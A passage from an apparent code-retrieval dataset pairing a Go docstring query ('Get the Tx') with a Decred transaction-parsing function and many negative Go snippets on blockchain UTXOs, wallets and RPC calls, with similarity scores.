addressManager.Address(addressManager.firstUnspentAddressIndex)\n}", "func serializeUtxoEntry(entry *txo.UtxoEntry) ([]byte, error) {\n\t// Spent outputs have no serialization.\n\tif entry.IsSpent() {\n\t\treturn nil, nil\n\t}\n\n\t// Encode the header code.\n\theaderCode, err := utxoEntryHeaderCode(entry)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Calculate the size needed to serialize the entry.\n\tsize := serializeSizeVLQ(headerCode) +\n\t\tcompressedTxOutSize(uint64(entry.Amount()), entry.PkScript(), entry.Asset())\n\n\t// Serialize the header code followed by the compressed unspent\n\t// transaction output.\n\tserialized := make([]byte, size)\n\toffset := putVLQ(serialized, headerCode)\n\toffset += putCompressedTxOut(serialized[offset:], uint64(entry.Amount()),\n\t\tentry.PkScript(), entry.Asset())\n\n\treturn serialized, nil\n}", "func ListUnspentWithAssetWithMaxCount(ctx context.Context, rpcClient RpcClient, filter []Address, asset string, maxCount int) ([]TransactionInfo, error) {\n\treturn ListUnspentMinMaxAddressesAndOptions(ctx, rpcClient, AddressInfoMinConfirmation, AddressInfoMaxConfirmation, filter, ListUnspentOption{\n\t\tAsset: asset,\n\t\tMaximumCount: maxCount,\n\t})\n}", "func (w *rpcWallet) StakeInfo(ctx context.Context) (*wallet.StakeInfoData, error) {\n\tres, err := w.rpcClient.GetStakeInfo(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tsdiff, err := dcrutil.NewAmount(res.Difficulty)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\ttotalSubsidy, err := dcrutil.NewAmount(res.TotalSubsidy)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &wallet.StakeInfoData{\n\t\tBlockHeight: res.BlockHeight,\n\t\tTotalSubsidy: totalSubsidy,\n\t\tSdiff: sdiff,\n\t\tOwnMempoolTix: res.OwnMempoolTix,\n\t\tUnspent: res.Unspent,\n\t\tVoted: res.Voted,\n\t\tRevoked: res.Revoked,\n\t\tUnspentExpired: res.UnspentExpired,\n\t\tPoolSize: res.PoolSize,\n\t\tAllMempoolTix: res.AllMempoolTix,\n\t\tImmature: res.Immature,\n\t\tLive: res.Live,\n\t\tMissed: res.Missed,\n\t\tExpired: res.Expired,\n\t}, nil\n}", "func dbFetchUtxoEntry(dbTx database.Tx, outpoint protos.OutPoint) (*txo.UtxoEntry, error) {\n\t// Fetch the unspent transaction output information for the passed\n\t// transaction output. Return now when there is no entry.\n\tkey := outpointKey(outpoint)\n\tutxoBucket := dbTx.Metadata().Bucket(utxoSetBucketName)\n\tserializedUtxo := utxoBucket.Get(*key)\n\trecycleOutpointKey(key)\n\tif serializedUtxo == nil {\n\t\treturn nil, nil\n\t}\n\n\t// A non-nil zero-length entry means there is an entry in the database\n\t// for a spent transaction output which should never be the case.\n\tif len(serializedUtxo) == 0 {\n\t\treturn nil, common.AssertError(fmt.Sprintf(\"database contains entry \"+\n\t\t\t\"for spent tx output %v\", outpoint))\n\t}\n\n\t// Deserialize the utxo entry and return it.\n\tentry, err := DeserializeUtxoEntry(serializedUtxo)\n\tif err != nil {\n\t\t// Ensure any deserialization errors are returned as database\n\t\t// corruption errors.\n\t\tif common.IsDeserializeErr(err) {\n\t\t\treturn nil, database.Error{\n\t\t\t\tErrorCode: database.ErrCorruption,\n\t\t\t\tDescription: fmt.Sprintf(\"corrupt utxo entry \"+\n\t\t\t\t\t\"for %v: %v\", outpoint, err),\n\t\t\t}\n\t\t}\n\n\t\treturn nil, err\n\t}\n\n\tlockItem, err := dbFetchLockItem(dbTx, outpoint)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tentry.SetLockItem(lockItem)\n\n\treturn entry, nil\n}", "func Test_CanSign_UnspentTransactionWrongAddress(t *testing.T) {\n\n\t// prepare input\n\tvar transactionInput *TransactionInput = &TransactionInput{\n\t\tOutputID: \"outID\",\n\t\tOutputIndex: 10,\n\t}\n\tvar unspentTransactions = []*UnspentTransactionOutput{\n\t\t{\n\t\t\tOutputID: \"outID\",\n\t\t\tOutputIndex: 10,\n\t\t\tAddress: \"addressX\",\n\t\t},\n\t}\n\tvar publicKey = \"public_key\"\n\n\t// call can sign\n\tresult := CanSign(unspentTransactions, transactionInput, publicKey)\n\n\t// result should false\n\tif result {\n\t\tt.Errorf(\"when unspent transaction address is not the same as public key the result should be false\")\n\t}\n}", "func (ue UPPError) UPPBody() []byte {\n\treturn ue.uppBody\n}", "func (dcr *DCRBackend) getTxOutInfo(txHash *chainhash.Hash, vout uint32) (*chainjson.GetTxOutResult, *chainjson.TxRawResult, []byte, error) {\n\ttxOut, pkScript, err := dcr.getUnspentTxOut(txHash, vout)\n\tif err != nil {\n\t\treturn nil, nil, nil, err\n\t}\n\tverboseTx, err := dcr.node.GetRawTransactionVerbose(txHash)\n\tif err != nil {\n\t\treturn nil, nil, nil, fmt.Errorf(\"GetRawTransactionVerbose for txid %s: %v\", txHash, err)\n\t}\n\treturn txOut, verboseTx, pkScript, nil\n}", "func (dcr *ExchangeWallet) spendableUTXOs() ([]*compositeUTXO, error) {\n\tunspents, err := dcr.wallet.Unspents(dcr.ctx, dcr.primaryAcct)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif dcr.tradingAccount != \"\" {\n\t\t// Trading account may contain spendable utxos such as unspent split tx\n\t\t// outputs that are unlocked/returned. TODO: Care should probably be\n\t\t// taken to ensure only unspent split tx outputs are selected and other\n\t\t// unmixed outputs in the trading account are ignored.\n\t\ttradingAcctSpendables, err := dcr.wallet.Unspents(dcr.ctx, dcr.tradingAccount)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tunspents = append(unspents, tradingAcctSpendables...)\n\t}\n\tif len(unspents) == 0 {\n\t\treturn nil, fmt.Errorf(\"insufficient funds. 0 DCR available to spend in account %q\", dcr.primaryAcct)\n\t}\n\n\t// Parse utxos to include script size for spending input. Returned utxos\n\t// will be sorted in ascending order by amount (smallest first).\n\tutxos, err := dcr.parseUTXOs(unspents)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error parsing unspent outputs: %w\", err)\n\t}\n\tif len(utxos) == 0 {\n\t\treturn nil, fmt.Errorf(\"no funds available\")\n\t}\n\treturn utxos, nil\n}", "func (_Lmc *LmcCaller) UserInfo(opts *bind.CallOpts, arg0 common.Address) (struct {\n\tFirstStakedBlockNumber *big.Int\n\tAmountStaked *big.Int\n}, error) {\n\tvar out []interface{}\n\terr := _Lmc.contract.Call(opts, &out, \"userInfo\", arg0)\n\n\toutstruct := new(struct {\n\t\tFirstStakedBlockNumber *big.Int\n\t\tAmountStaked *big.Int\n\t})\n\tif err != nil {\n\t\treturn *outstruct, err\n\t}\n\n\toutstruct.FirstStakedBlockNumber = *abi.ConvertType(out[0], new(*big.Int)).(**big.Int)\n\toutstruct.AmountStaked = *abi.ConvertType(out[1], new(*big.Int)).(**big.Int)\n\n\treturn *outstruct, err\n\n}", "func GetUnspentOutputCombination(unspentOutput []*transactions.UnspentTransactionOutput, totalAmount float64) ([]*transactions.UnspentTransactionOutput, float64) {\n\n\t// find the combination that the most closely matches the total amount\n\tselectedUnspentOutputs := getBestCombination(unspentOutput, totalAmount)\n\n\t// get the amount from unspent outputs in found combination of them\n\tamountFound := 0.0\n\tfor _, selectedUnspentOutput := range selectedUnspentOutputs {\n\t\tamountFound += selectedUnspentOutput.Amount\n\t}\n\n\t// calculate the leftover amount, don't take more less than 0\n\tleftoverAmount := math.Max(amountFound-totalAmount, 0)\n\n\t// return\n\treturn selectedUnspentOutputs, leftoverAmount\n}", "func (s *PublicTransactionPoolAPI) GetProofKey(ctx context.Context, args wtypes.ProofKeyArgs) (*wtypes.ProofKeyRet, error) {\n\tif len(args.Addr) != wtypes.UTXO_ADDR_STR_LEN && len(args.Addr) != common.AddressLength*2 && len(args.Addr) != common.AddressLength*2+2 {\n\t\treturn nil, wtypes.ErrArgsInvalid\n\t}\n\ttx, err := s.wallet.GetUTXOTx(args.Hash, args.EthAddr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif (tx.UTXOKind() & types.Ain) != types.IllKind {\n\t\treturn nil, wtypes.ErrNoNeedToProof\n\t}\n\tif len(args.Addr) == wtypes.UTXO_ADDR_STR_LEN {\n\t\taddr, err := wallet.StrToAddress(args.Addr)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\ttxKey, err := s.wallet.GetTxKey(&args.Hash, args.EthAddr)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tderivationKey, err := xcrypto.GenerateKeyDerivation(addr.ViewPublicKey, lkctypes.SecretKey(*txKey))\n\t\tif err != nil {\n\t\t\treturn nil, wtypes.ErrInnerServer\n\t\t}\n\t\toutIdx := 0\n\t\tfor _, output := range tx.Outputs {\n\t\t\tif utxoOutput, ok := output.(*types.UTXOOutput); ok {\n\t\t\t\totAddr, err := xcrypto.DerivePublicKey(derivationKey, outIdx, addr.SpendPublicKey)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, wtypes.ErrInnerServer\n\t\t\t\t}\n\t\t\t\tif bytes.Equal(otAddr[:], utxoOutput.OTAddr[:]) {\n\t\t\t\t\treturn &wtypes.ProofKeyRet{\n\t\t\t\t\t\tProofKey: fmt.Sprintf(\"%x\", derivationKey[:]),\n\t\t\t\t\t}, nil\n\t\t\t\t}\n\t\t\t\toutIdx++\n\t\t\t}\n\t\t}\n\t\treturn nil, wtypes.ErrNoTransInTx\n\t}\n\n\tif !common.IsHexAddress(args.Addr) {\n\t\treturn nil, wtypes.ErrArgsInvalid\n\t}\n\taddr := common.HexToAddress(args.Addr)\n\ttxKey, err := s.wallet.GetTxKey(&args.Hash, args.EthAddr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tfor i, output := range tx.Outputs {\n\t\tif accOutput, ok := output.(*types.AccountOutput); ok {\n\t\t\tif bytes.Equal(addr[:], accOutput.To[:]) {\n\t\t\t\tproofKey, err := xcrypto.DerivationToScalar(lkctypes.KeyDerivation(*txKey), i)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, wtypes.ErrInnerServer\n\t\t\t\t}\n\t\t\t\treturn &wtypes.ProofKeyRet{\n\t\t\t\t\tProofKey: fmt.Sprintf(\"%x\", proofKey[:]),\n\t\t\t\t}, nil\n\t\t\t}\n\t\t}\n\t}\n\treturn nil, wtypes.ErrNoTransInTx\n}", "func (api *API) consensusGetUnspentBlockstakeOutputHandler(w http.ResponseWriter, req *http.Request, ps httprouter.Params) {\n\tvar (\n\t\toutputID types.BlockStakeOutputID\n\t\tid = ps.ByName(\"id\")\n\t)\n\n\tif len(id) != len(outputID)*2 {\n\t\tWriteError(w, Error{errInvalidIDLength.Error()}, http.StatusBadRequest)\n\t\treturn\n\t}\n\n\terr := outputID.LoadString(id)\n\tif err != nil {\n\t\tWriteError(w, Error{err.Error()}, http.StatusBadRequest)\n\t\treturn\n\t}\n\n\toutput, err := api.cs.GetBlockStakeOutput(outputID)\n\tif err != nil {\n\t\tWriteError(w, Error{err.Error()}, http.StatusNoContent)\n\t\treturn\n\t}\n\tWriteJSON(w, ConsensusGetUnspentBlockstakeOutput{Output: output})\n}", "func (l *LedgerState) SnapshotUTXO() (snapshot *ledgerstate.Snapshot) {\n\t// The following parameter should be larger than the max allowed timestamp variation, and the required time for confirmation.\n\t// We can snapshot this far in the past, since global snapshots dont occur frequent and it is ok to ignore the last few minutes.\n\tminAge := 120 * time.Second\n\tsnapshot = &ledgerstate.Snapshot{\n\t\tTransactions: make(map[ledgerstate.TransactionID]ledgerstate.Record),\n\t}\n\n\tstartSnapshot := time.Now()\n\tcopyLedgerState := l.Transactions() // consider that this may take quite some time\n\n\tfor _, transaction := range copyLedgerState {\n\t\t// skip unconfirmed transactions\n\t\tinclusionState, err := l.TransactionInclusionState(transaction.ID())\n\t\tif err != nil || inclusionState != ledgerstate.Confirmed {\n\t\t\tcontinue\n\t\t}\n\t\t// skip transactions that are too recent before startSnapshot\n\t\tif startSnapshot.Sub(transaction.Essence().Timestamp()) < minAge {\n\t\t\tcontinue\n\t\t}\n\t\tunspentOutputs := make([]bool, len(transaction.Essence().Outputs()))\n\t\tincludeTransaction := false\n\t\tfor i, output := range transaction.Essence().Outputs() {\n\t\t\tl.CachedOutputMetadata(output.ID()).Consume(func(outputMetadata *ledgerstate.OutputMetadata) {\n\t\t\t\tif outputMetadata.ConfirmedConsumer() == ledgerstate.GenesisTransactionID { // no consumer yet\n\t\t\t\t\tunspentOutputs[i] = true\n\t\t\t\t\tincludeTransaction = true\n\t\t\t\t} else {\n\t\t\t\t\ttx := copyLedgerState[outputMetadata.ConfirmedConsumer()]\n\t\t\t\t\t// ignore consumers that are not confirmed long enough or even in the future.\n\t\t\t\t\tif startSnapshot.Sub(tx.Essence().Timestamp()) < minAge {\n\t\t\t\t\t\tunspentOutputs[i] = true\n\t\t\t\t\t\tincludeTransaction = true\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t})\n\t\t}\n\t\t// include only transactions with at least one unspent output\n\t\tif includeTransaction {\n\t\t\tsnapshot.Transactions[transaction.ID()] = ledgerstate.Record{\n\t\t\t\tEssence: transaction.Essence(),\n\t\t\t\tUnlockBlocks: transaction.UnlockBlocks(),\n\t\t\t\tUnspentOutputs: unspentOutputs,\n\t\t\t}\n\t\t}\n\t}\n\n\t// TODO ??? due to possible race conditions we could add a check for the consistency of the UTXO snapshot\n\n\treturn snapshot\n}", "func (as *AddrServer) HandleAddrUTXO(w http.ResponseWriter, r *http.Request) {\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\taddr := mux.Vars(r)[\"addr\"]\n\n\t// Fetch current block info\n\tinfo, err := as.Client.GetInfo()\n\tif err != nil {\n\t\tw.WriteHeader(400)\n\t\tw.Write(NewPostError(\"failed to getInfo\", err))\n\t\treturn\n\t}\n\n\t// paginate through transactions\n\ttxns, err := as.GetAddressUTXOs([]string{addr})\n\tif err != nil {\n\t\tw.WriteHeader(400)\n\t\tw.Write(NewPostError(\"error fetching all transactions for address\", err))\n\t\treturn\n\t}\n\n\tmptxns, err := as.GetAddressMempool([]string{addr})\n\tif err != nil {\n\t\tw.WriteHeader(400)\n\t\tw.Write(NewPostError(\"error fetching mempool transactions for address\", err))\n\t\treturn\n\t}\n\n\t// If there are no mempool transactions then just return the historical\n\tif len(mptxns.Result) < 1 {\n\t\to := UTXOInsOuts{}\n\t\tfor _, utxo := range txns.Result {\n\t\t\to = append(o, utxo.Enrich(info.Blocks))\n\t\t}\n\t\tsort.Sort(o)\n\t\tout, _ := json.Marshal(o)\n\t\tw.Write(out)\n\t\treturn\n\t}\n\n\tvar check UTXOInsOuts\n\tvar out UTXOInsOuts\n\n\tfor _, tx := range txns.Result {\n\t\tcheck = append(check, tx.Enrich(info.Blocks))\n\t}\n\n\tfor _, mptx := range mptxns.Result {\n\t\tif mptx.Prevtxid == \"\" {\n\t\t\tcheck = append(check, mptx.UTXO())\n\t\t}\n\t}\n\n\tfor _, toCheck := range check {\n\t\tvalid := true\n\t\tfor _, mptx := range mptxns.Result {\n\t\t\tif mptx.Prevtxid == toCheck.Txid && toCheck.OutputIndex == mptx.Prevout {\n\t\t\t\tvalid = false\n\t\t\t}\n\t\t}\n\t\tif valid {\n\t\t\tout = append(out, toCheck)\n\t\t}\n\t}\n\n\t// Sort by confirmations and return\n\tsort.Sort(out)\n\to, _ := json.Marshal(out)\n\tw.Write(o)\n}", "func (dcr *ExchangeWallet) spendableUTXOs() ([]*compositeUTXO, error) {\n\tunspents, err := dcr.unspents()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif len(unspents) == 0 {\n\t\treturn nil, fmt.Errorf(\"insufficient funds. 0 DCR available to spend in %q account\", dcr.acct)\n\t}\n\n\t// Parse utxos to include script size for spending input.\n\t// Returned utxos will be sorted in ascending order by amount (smallest first).\n\tutxos, err := dcr.parseUTXOs(unspents)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error parsing unspent outputs: %w\", err)\n\t}\n\tif len(utxos) == 0 {\n\t\treturn nil, fmt.Errorf(\"no funds available\")\n\t}\n\treturn utxos, nil\n}", "func CalcUtxoAvailAmount(addr string, txHash string) (float64, error) {\n\n\toutStr, err := RunChain33Cli(strings.Fields(fmt.Sprintf(\"privacy showpai -d 1 -a %s\", addr)))\n\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\tvar jsonMap map[string]interface{}\n\terr = json.Unmarshal([]byte(outStr), &jsonMap)\n\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\tvar totalAmount float64\n\tif jsonMap[\"AvailableDetail\"] == nil {\n\t\treturn 0, nil\n\t}\n\n\tavailArr := jsonMap[\"AvailableDetail\"].([]interface{})\n\n\tfor i := range availArr {\n\n\t\tif availArr[i].(map[string]interface{})[\"Txhash\"].(string) == txHash {\n\n\t\t\ttemp, _ := strconv.ParseFloat(availArr[i].(map[string]interface{})[\"Amount\"].(string), 64)\n\t\t\ttotalAmount += temp\n\t\t}\n\t}\n\n\treturn totalAmount, nil\n}", "func (s *Store) UniqueTxDetails(ns walletdb.ReadBucket, txHash *chainhash.Hash,\n\tblock *Block) (*TxDetails, error) {\n\n\tif block == nil {\n\t\tv := existsRawUnmined(ns, txHash[:])\n\t\tif v == nil {\n\t\t\treturn nil, nil\n\t\t}\n\t\treturn s.unminedTxDetails(ns, txHash, v)\n\t}\n\n\tk, v := existsTxRecord(ns, txHash, block)\n\tif v == nil {\n\t\treturn nil, nil\n\t}\n\treturn s.minedTxDetails(ns, txHash, k, v)\n}", "func (c *Client) BulkUnspentTransactions(ctx context.Context, list *AddressList) (response BulkUnspentResponse, err error) {\n\t// Get the JSON\n\tvar postData []byte\n\tif postData, err = bulkRequest(list); err != nil {\n\t\treturn\n\t}\n\n\tvar resp string\n\t// https://api.whatsonchain.com/v1/bsv/<network>/addresses/unspent\n\tif resp, err = c.request(\n\t\tctx,\n\t\tfmt.Sprintf(\"%s%s/addresses/unspent\", apiEndpoint, c.Network()),\n\t\thttp.MethodPost, postData,\n\t); err != nil {\n\t\treturn\n\t}\n\tif len(resp) == 0 {\n\t\treturn nil, ErrAddressNotFound\n\t}\n\terr = json.Unmarshal([]byte(resp), &response)\n\treturn\n}", "func (rt *RecvTxOut) TxInfo(account string, chainHeight int32, net btcwire.BitcoinNet) []map[string]interface{} {\n\ttx := rt.tx.MsgTx()\n\toutidx := rt.outpoint.Index\n\ttxout := tx.TxOut[outidx]\n\n\taddress := \"Unknown\"\n\t_, addrs, _, _ := btcscript.ExtractPkScriptAddrs(txout.PkScript, net)\n\tif len(addrs) == 1 {\n\t\taddress = addrs[0].EncodeAddress()\n\t}\n\n\ttxInfo := map[string]interface{}{\n\t\t\"account\": account,\n\t\t\"category\": \"receive\",\n\t\t\"address\": address,\n\t\t\"amount\": float64(txout.Value) / float64(btcutil.SatoshiPerBitcoin),\n\t\t\"txid\": rt.outpoint.Hash.String(),\n\t\t\"timereceived\": float64(rt.received.Unix()),\n\t}\n\n\tif rt.block != nil {\n\t\ttxInfo[\"blockhash\"] = rt.block.Hash.String()\n\t\ttxInfo[\"blockindex\"] = float64(rt.block.Index)\n\t\ttxInfo[\"blocktime\"] = float64(rt.block.Time.Unix())\n\t\ttxInfo[\"confirmations\"] = float64(chainHeight - rt.block.Height + 1)\n\t} else {\n\t\ttxInfo[\"confirmations\"] = float64(0)\n\t}\n\n\treturn []map[string]interface{}{txInfo}\n}", "func (o ProtectionStatusDetailsResponseOutput) ErrorDetails() UserFacingErrorResponsePtrOutput {\n\treturn o.ApplyT(func(v ProtectionStatusDetailsResponse) *UserFacingErrorResponse { return v.ErrorDetails }).(UserFacingErrorResponsePtrOutput)\n}", "func (ac *AddressCache) UtxoStats() (hits, misses int) {\n\treturn ac.cacheMetrics.utxoStats()\n}", "func (o LookupWorkstationResultOutput) Uid() pulumi.StringOutput {\n\treturn o.ApplyT(func(v LookupWorkstationResult) string { return v.Uid }).(pulumi.StringOutput)\n}", "func (n *Client) RequestUnspentAliasOutput(addr *ledgerstate.AliasAddress) {\n\tn.sendMessage(&txstream.MsgGetUnspentAliasOutput{\n\t\tAliasAddress: addr,\n\t})\n}", "func (o *PaymentInitiationPaymentGetResponse) GetRefundDetails() ExternalPaymentRefundDetails {\n\tif o == nil || o.RefundDetails.Get() == nil {\n\t\tvar ret ExternalPaymentRefundDetails\n\t\treturn ret\n\t}\n\treturn *o.RefundDetails.Get()\n}" ]
[ "0.6387986", "0.6176418", "0.6135895", "0.5948216", "0.5899068", "0.5754163", "0.57466215", "0.57283604", "0.5720983", "0.5709999", "0.56540304", "0.563221", "0.56190515", "0.5578661", "0.5573336", "0.54913014", "0.5394845", "0.5393376", "0.537308", "0.5348343", "0.5340176", "0.53174627", "0.5305056", "0.52839196", "0.5276014", "0.5245933", "0.52351874", "0.5219735", "0.52135664", "0.52071303", "0.51764905", "0.51690036", "0.51639515", "0.5162929", "0.5157184", "0.5147791", "0.50903714", "0.50654286", "0.50639844", "0.5060626", "0.50292337", "0.501923", "0.50058013", "0.5002392", "0.49799845", "0.49725413", "0.49647793", "0.4964128", "0.49550635", "0.49409196", "0.49337366", "0.49297547", "0.491719", "0.49113873", "0.49059904", "0.48981184", "0.48976445", "0.48576826", "0.48572826", "0.48522705", "0.48495322", "0.4827502", "0.4806135", "0.4784128", "0.47627053", "0.47606748", "0.47494033", "0.47332516", "0.47228998", "0.471484", "0.471153", "0.46740776", "0.46521342", "0.46327636", "0.46303514", "0.46258992", "0.46250483", "0.46224192", "0.46030393", "0.4599856", "0.45819324", "0.45640713", "0.4541722", "0.45342067", "0.4528618", "0.450833", "0.4500616", "0.45005852", "0.4494856", "0.4472644", "0.44484085", "0.44375905", "0.4434099", "0.44230065", "0.44213504", "0.44113383", "0.44009534", "0.43935806", "0.4390244", "0.43886155" ]
0.7695191
0
Get the Tx. Transaction info is not cached, so every call will result in a GetRawTransactionVerbose RPC call.
func (dcr *DCRBackend) transaction(txHash *chainhash.Hash, verboseTx *chainjson.TxRawResult) (*Tx, error) { // Figure out if it's a stake transaction msgTx, err := msgTxFromHex(verboseTx.Hex) if err != nil { return nil, fmt.Errorf("failed to decode MsgTx from hex for transaction %s: %v", txHash, err) } isStake := stake.DetermineTxType(msgTx) != stake.TxTypeRegular // If it's not a mempool transaction, get and cache the block data. var blockHash *chainhash.Hash var lastLookup *chainhash.Hash if verboseTx.BlockHash == "" { tipHash := dcr.blockCache.tipHash() if tipHash != zeroHash { lastLookup = &tipHash } } else { blockHash, err = chainhash.NewHashFromStr(verboseTx.BlockHash) if err != nil { return nil, fmt.Errorf("error decoding block hash %s for tx %s: %v", verboseTx.BlockHash, txHash, err) } // Make sure the block info is cached. _, err := dcr.getDcrBlock(blockHash) if err != nil { return nil, fmt.Errorf("error caching the block data for transaction %s", txHash) } } var sumIn, sumOut uint64 // Parse inputs and outputs, grabbing only what's needed. inputs := make([]txIn, 0, len(verboseTx.Vin)) var isCoinbase bool for _, input := range verboseTx.Vin { isCoinbase = input.Coinbase != "" sumIn += toAtoms(input.AmountIn) hash, err := chainhash.NewHashFromStr(input.Txid) if err != nil { return nil, fmt.Errorf("error decoding previous tx hash %sfor tx %s: %v", input.Txid, txHash, err) } inputs = append(inputs, txIn{prevTx: *hash, vout: input.Vout}) } outputs := make([]txOut, 0, len(verboseTx.Vout)) for vout, output := range verboseTx.Vout { pkScript, err := hex.DecodeString(output.ScriptPubKey.Hex) if err != nil { return nil, fmt.Errorf("error decoding pubkey script from %s for transaction %d:%d: %v", output.ScriptPubKey.Hex, txHash, vout, err) } sumOut += toAtoms(output.Value) outputs = append(outputs, txOut{ value: toAtoms(output.Value), pkScript: pkScript, }) } feeRate := (sumIn - sumOut) / uint64(len(verboseTx.Hex)/2) if isCoinbase { feeRate = 0 } return newTransaction(dcr, txHash, blockHash, lastLookup, verboseTx.BlockHeight, isStake, inputs, outputs, feeRate), nil }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (c *Context) GetTx() interface{} {\n\treturn c.tx\n}", "func (b *Bitcoind) GetRawTransaction(txId string, verbose bool) (rawTx interface{}, err error) {\n\tr, err := b.client.call(\"getrawtransaction\", []interface{}{txId, verbose})\n\tif err = handleError(err, &r); err != nil {\n\t\treturn\n\t}\n\n\tif !verbose {\n\t\terr = json.Unmarshal(r.Result, &rawTx)\n\t} else {\n\t\tvar t RawTransaction\n\t\terr = json.Unmarshal(r.Result, &t)\n\t\trawTx = t\n\t}\n\n\treturn\n}", "func (pgb *ChainDBRPC) GetRawTransaction(txid string) (*dcrjson.TxRawResult, error) {\n\ttxraw, err := rpcutils.GetTransactionVerboseByID(pgb.Client, txid)\n\tif err != nil {\n\t\tlog.Errorf(\"GetRawTransactionVerbose failed for: %s\", txid)\n\t\treturn nil, err\n\t}\n\treturn txraw, nil\n}", "func (gw *Gateway) GetTransactionVerbose(txid cipher.SHA256) (*visor.Transaction, []visor.TransactionInput, error) {\n\tvar txn *visor.Transaction\n\tvar inputs []visor.TransactionInput\n\tvar err error\n\tgw.strand(\"GetTransactionVerbose\", func() {\n\t\ttxn, inputs, err = gw.v.GetTransactionWithInputs(txid)\n\t})\n\treturn txn, inputs, err\n}", "func (rpc BitcoinRPC) GetRawTransaction(h string) ([]byte, error) {\n\tvar (\n\t\ttx []byte\n\t\terr error\n\t)\n\n\terr = rpc.client.Call(\"getrawtransaction\", []interface{}{h, 1}, &tx)\n\treturn tx, err\n}", "func (m *SimulateRequest) GetTx() *Tx {\n\tif m != nil {\n\t\treturn m.Tx\n\t}\n\treturn nil\n}", "func (gw *Gateway) GetTransaction(txid cipher.SHA256) (*visor.Transaction, error) {\n\tvar txn *visor.Transaction\n\tvar err error\n\n\tgw.strand(\"GetTransaction\", func() {\n\t\ttxn, err = gw.v.GetTransaction(txid)\n\t})\n\n\treturn txn, err\n}", "func (a API) GetRawTransaction(cmd *btcjson.GetRawTransactionCmd) (e error) {\n\tRPCHandlers[\"getrawtransaction\"].Call <-API{a.Ch, cmd, nil}\n\treturn\n}", "func (c *dummyWavesMDLrpcclient) GetTransaction(txid string) (*model.Transactions, error) {\n\ttransaction, _, err := client.NewTransactionsService(c.MainNET).GetTransactionsInfoID(txid)\n\treturn transaction, err\n}", "func GetTx() *TX {\n\ttx := &TX{\n\t\tDB: DB.Begin(),\n\t\tfired: false,\n\t}\n\treturn tx\n}", "func GetTX(c echo.Context) newrelic.Transaction {\n\ttx := c.Get(\"txn\")\n\tif tx == nil {\n\t\treturn nil\n\t}\n\n\treturn tx.(newrelic.Transaction)\n}", "func GetTX(c echo.Context) newrelic.Transaction {\n\ttx := c.Get(\"txn\")\n\tif tx == nil {\n\t\treturn nil\n\t}\n\n\treturn tx.(newrelic.Transaction)\n}", "func GetTX(c echo.Context) newrelic.Transaction {\n\ttx := c.Get(\"txn\")\n\tif tx == nil {\n\t\treturn nil\n\t}\n\n\treturn tx.(newrelic.Transaction)\n}", "func (db *DB) GetTx() *GetTx {\n\treturn &GetTx{\n\t\tdb: db,\n\t}\n}", "func (st *SignedTx) Tx() *btcutil.Tx {\n\treturn st.tx\n}", "func (b *Bucket) Tx() *Tx {\n\treturn b.tx\n}", "func (s *Store) GetTx(txid common.Hash) *types.Transaction {\n\ttx, _ := s.rlp.Get(s.table.Txs, txid.Bytes(), &types.Transaction{}).(*types.Transaction)\n\n\treturn tx\n}", "func (c *RPC) GetTransaction(txid string) (*webrpc.TxnResult, error) {\n\ttxn, err := c.rpcClient.GetTransactionByID(txid)\n\tif err != nil {\n\t\treturn nil, RPCError{err}\n\t}\n\n\treturn txn, nil\n}", "func (s *TransactionService) Get(walletID, txnID string) (*Transaction, error) {\n\tu := fmt.Sprintf(\"/kms/wallets/%s/transactions/%s\", walletID, txnID)\n\ttxn := &Transaction{}\n\tp := &Params{}\n\tp.SetAuthProvider(s.auth)\n\terr := s.client.Call(http.MethodGet, u, nil, txn, p)\n\treturn txn, err\n}", "func (t *testNode) GetRawTransactionVerbose(txHash *chainhash.Hash) (*btcjson.TxRawResult, error) {\n\ttestChainMtx.RLock()\n\tdefer testChainMtx.RUnlock()\n\ttx, found := testChain.txRaws[*txHash]\n\tif !found {\n\t\treturn nil, fmt.Errorf(\"test transaction not found\\n\")\n\t}\n\treturn tx, nil\n}", "func (r *Repository) TxGet(tx *dbr.Tx, userID int64) (*pb.User, error) {\n\treturn r.get(tx, userID)\n}", "func (b *Backend) GetTransaction(\n\tctx context.Context,\n\tid sdk.Identifier,\n) (*sdk.Transaction, error) {\n\ttx, err := b.emulator.GetTransaction(id)\n\tif err != nil {\n\t\tswitch err.(type) {\n\t\tcase emulator.NotFoundError:\n\t\t\treturn nil, status.Error(codes.NotFound, err.Error())\n\t\tdefault:\n\t\t\treturn nil, status.Error(codes.Internal, err.Error())\n\t\t}\n\t}\n\n\tb.logger.\n\t\tWithField(\"txID\", id.String()).\n\t\tDebugf(\"💵 GetTransaction called\")\n\n\treturn tx, nil\n}", "func (tb *TransactionBuilder) GetTransaction() *types.Transaction {\n\treturn tb.tx\n}", "func GetTx(ctx context.Context) (*firestore.Transaction, bool) {\n\ttx, ok := ctx.Value(txKey).(*firestore.Transaction)\n\treturn tx, ok\n}", "func (gtx *GuardTx) GetTx() *sql.Tx {\n\treturn gtx.dbTx\n}", "func (l *LBucket) Tx() Tx {\n\treturn l.tx\n}", "func GetTransaction(ctx context.Context) *sql.Tx {\n\tiTx := ctx.Value(Transaction)\n\ttx, _ := iTx.(*sql.Tx) //nolint: errcheck\n\treturn tx\n}", "func (sc *ServerConn) GetTransaction(ctx context.Context, txid string) (*GetTransactionResult, error) {\n\tvar resp GetTransactionResult\n\terr 